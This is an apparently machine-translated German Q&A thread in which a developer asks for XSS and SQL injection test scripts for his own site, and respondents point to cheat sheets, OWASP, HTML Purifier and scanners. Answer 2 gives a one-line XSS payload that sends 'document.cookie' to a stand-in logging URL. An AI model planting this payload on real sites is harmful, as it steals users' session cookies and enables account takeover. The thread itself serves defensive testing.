Kann mir jemand ein paar grundlegende XSS- und SQL-Injection-Skripte geben? (nicht, wie es scheint)

Question

Ich teste meine Skripte aus, um zu sehen, ob sie XSS- und SQL-Injektionen verhindern. Kann mir jemand ein paar einfache, aber gute Skripte zur Verfügung stellen, die in meine Programme "eindringen"? Ich möchte meine Skripts testen, bevor sie online gehen.

EDIT: Vielen Dank für diese Links, sie enthalten viele und viele Informationen. Aber für einen Anfänger zur Sicherheit, gibt es eine empfohlene Seite? Ich bin mir nicht sicher, ob ich bereit bin, direkt in Sicherheitsfragen einzutauchen. Ich mag die Links waiwai933 empfohlen.

Answer 1

Jede Situation erfordert andere Skripts, so dass es keine "Einheitsgröße" gibt, die jemand anbieten könnte. Die Liste der Skripts, die getestet werden müssen, reicht in die Tausende, bevor Sie sicher sein können, dass Ihre Website sicher ist.

Sie können Firefox- oder Chrome-Plugins überprüfen, mit denen Sie SQL-Injektionen testen können. Ich schlage das vor, aber Sie können auch nach anderen suchen: https://addons.mozilla.org/en-US/firefox/addon/6727. Dadurch können Sie eine Liste von Injektionsskripten bereitstellen, die normalerweise nur einige wenige enthält. Sobald Sie sie aktivieren, bombardiert sie Ihre Site mit diesen Skripts und zeigt Ihnen, wo die Sicherheitsanfälligkeiten liegen.

schlage ich diese Seite für einige Beispiel XSS-Skripte: http://ha.ckers.org/xss.html

Answer 2

Die einfachste eine, die nicht von den Browsern blockiert bekommt und kann leicht passieren, wenn Sie nicht tun strip_tags() ist der folgende Code:

<script>(new Image).src = 'http://example.com/logSessions.php?s=' + document.cookie;</script> 

Answer 3

Googes neue jarslberg Instruktionsseite ist eine großartige Quelle, um Ihnen beizubringen, wie Sie gegen XSS und verschiedene andere Sicherheitsangriffe schreiben und sich verteidigen.

Answer 4

+1 für die Pflege und Wissen genug zu fragen. Da Sie Sicherheitsfragen stellen möchten, empfehle ich Ihnen die OWASP Website, falls Sie noch nicht vertraut sind. Sie werden alle möglichen Informationen finden, die über das hinausgehen, was Sie gefragt haben. Ganz zu schweigen von jeder Menge Informationen über die Verhinderung aller Arten von Angriffen. Die Website ist ein unschätzbares Werkzeug für Web-Entwickler.

Answer 5

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

Ich habe dieses Tool, um einige hervorragende Ergebnisse verwendet.

Answer 6

Das XSS Cheatsheet bei http://ha.ckers.org/xss.html ist eine gute Sammlung von XSS-Tests. Ich würde jedoch nicht empfehlen, einen eigenen XSS-Checker zu implementieren. es ist viel schwieriger als das Erkennen von SQL-Injektionen (wie Sie wahrscheinlich feststellen werden, wenn Sie einige Beispiele im Cheatsheet sehen). Die einzige solide Methode besteht darin, den Code zu analysieren, eine DOM-Struktur daraus zu erstellen und diese Struktur wieder in HTML umzuwandeln, und das ist eine Menge Arbeit, und andere Leute haben es bereits getan. Verwenden Sie etwas wie HTML Purifier.

Answer 7

Sie können versuchen, mit Acunetix Security Scanner, wird es nicht nur für XSS und MySQL Injektion standardmäßig scannen, aber auch für andere Arten von Exploits. Das Programm emuliert praktisch einen Browser und kann sich wie ein eingeloggter Benutzer verhalten.